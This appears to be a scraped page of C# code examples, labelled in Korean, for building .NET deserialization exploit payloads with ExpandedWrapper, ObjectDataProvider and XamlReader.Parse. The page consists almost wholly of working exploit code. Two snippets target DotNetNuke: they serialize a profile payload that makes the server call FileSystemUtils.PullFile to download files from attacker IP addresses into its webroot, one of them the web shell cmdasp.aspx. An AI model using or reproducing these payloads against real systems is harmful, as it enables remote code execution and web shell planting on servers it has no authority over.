예제 #1
0
        static void testDataSetSerialize()
        {
            DataTable  exptable = new DataTable("exp table");
            DataColumn dc       = new DataColumn("ObjectDataProviderCol");

            dc.DataType = typeof(ExpandedWrapper <XamlReader, ObjectDataProvider>);
            exptable.Columns.Add(dc);

            DataRow row = exptable.NewRow();

            ExpandedWrapper <XamlReader, ObjectDataProvider> wrapper = new ExpandedWrapper <XamlReader, ObjectDataProvider>();

            wrapper.ProjectedProperty0 = new ObjectDataProvider();
            wrapper.ProjectedProperty0.ObjectInstance = new XamlReader();
            //wrapper.ProjectedProperty0.ObjectType = typeof(TestClass);
            wrapper.ProjectedProperty0.MethodName = "Parse";
            wrapper.ProjectedProperty0.MethodParameters.Add(payloadXml);

            row["ObjectDataProviderCol"] = wrapper;
            exptable.Rows.Add(row);


            DataSet ds = new DataSet("poc");

            ds.Tables.Add(exptable);
            using (var writer = new StreamWriter("./test.xml"))
            {
                ds.WriteXml(writer, 0);
            }
        }
예제 #2
0
        public static void Serialize(String fileName)
        {
            ExpandedWrapper <FileSystemUtils, ObjectDataProvider> myExpWrap = new ExpandedWrapper <FileSystemUtils, ObjectDataProvider>();

            myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
            myExpWrap.ProjectedProperty0.ObjectInstance = new FileSystemUtils();
            myExpWrap.ProjectedProperty0.MethodName     = "PullFile";

            /*myExpWrap.ProjectedProperty0.MethodParameters.Add("http://192.168.2.238/myODPTest.txt");
             * myExpWrap.ProjectedProperty0.MethodParameters.Add("C:/inetpub/wwwroot/dotnetnuke/PullFileTest.txt");*/
            myExpWrap.ProjectedProperty0.MethodParameters.Add("http://192.168.2.238/" + fileName);
            myExpWrap.ProjectedProperty0.MethodParameters.Add("C:/inetpub/wwwroot/dotnetnuke/" + fileName);


            Hashtable table = new Hashtable();

            table["myTableEntry"] = myExpWrap;
            String     payload = XmlUtils.SerializeDictionary(table, "profile");
            TextWriter writer  = new StreamWriter("C:\\Users\\Public\\ExpWrap.txt");

            writer.Write(payload);
            writer.Close();

            Console.WriteLine("Done!");
        }
예제 #3
0
        public static object Payload(string filepath)
        {
            ExpandedWrapper <XamlReader, ObjectDataProvider> eobj = new ExpandedWrapper <XamlReader, ObjectDataProvider>();

            eobj.ProjectedProperty0 = new ObjectDataProvider();
            eobj.ProjectedProperty0.ObjectInstance = new XamlReader();
            eobj.ProjectedProperty0.MethodName     = "Parse";
            eobj.ProjectedProperty0.MethodParameters.Add(File.ReadAllText(filepath));
            return(eobj);
        }
예제 #4
0
        //  XamlReader + ObjectDataProvider + ExpandedWrapper 序列化, 生成paylaod
        public static void serializeObjectWithXmlSer()
        {
            ExpandedWrapper <XamlReader, ObjectDataProvider> wrapper = new ExpandedWrapper <XamlReader, ObjectDataProvider>();

            wrapper.ProjectedProperty0 = new ObjectDataProvider();
            wrapper.ProjectedProperty0.ObjectInstance = new XamlReader();
            //wrapper.ProjectedProperty0.ObjectType = typeof(TestClass);
            wrapper.ProjectedProperty0.MethodName = "Parse";
            wrapper.ProjectedProperty0.MethodParameters.Add(payloadXml);

            XmlSerializer serializer = new XmlSerializer(typeof(ExpandedWrapper <XamlReader, ObjectDataProvider>));
            TextWriter    fo         = new StreamWriter("./xmlser.txt");

            serializer.Serialize(fo, wrapper);
            fo.Close();
        }
        public static void Serialize()
        {
            ExpandedWrapper <FileSystemUtils, ObjectDataProvider> tooManyWraps = new ExpandedWrapper <FileSystemUtils, ObjectDataProvider>();

            tooManyWraps.ProjectedProperty0 = new ObjectDataProvider();
            tooManyWraps.ProjectedProperty0.ObjectInstance = new FileSystemUtils();
            tooManyWraps.ProjectedProperty0.MethodName     = "PullFile";
            tooManyWraps.ProjectedProperty0.MethodParameters.Add("http://192.168.111.147:80/cmdasp.aspx");
            tooManyWraps.ProjectedProperty0.MethodParameters.Add("C:/inetpub/wwwroot/dotnetnuke/cmdasp.aspx");

            Hashtable table = new Hashtable();

            table["stevesTable"] = tooManyWraps;
            String     payload = XmlUtils.SerializeDictionary(table, "profile");
            TextWriter writer  = new StreamWriter("C:\\Users\\Public\\PullFile.txt");

            writer.Write(payload);
            writer.Close();

            Console.WriteLine("Done!");
        }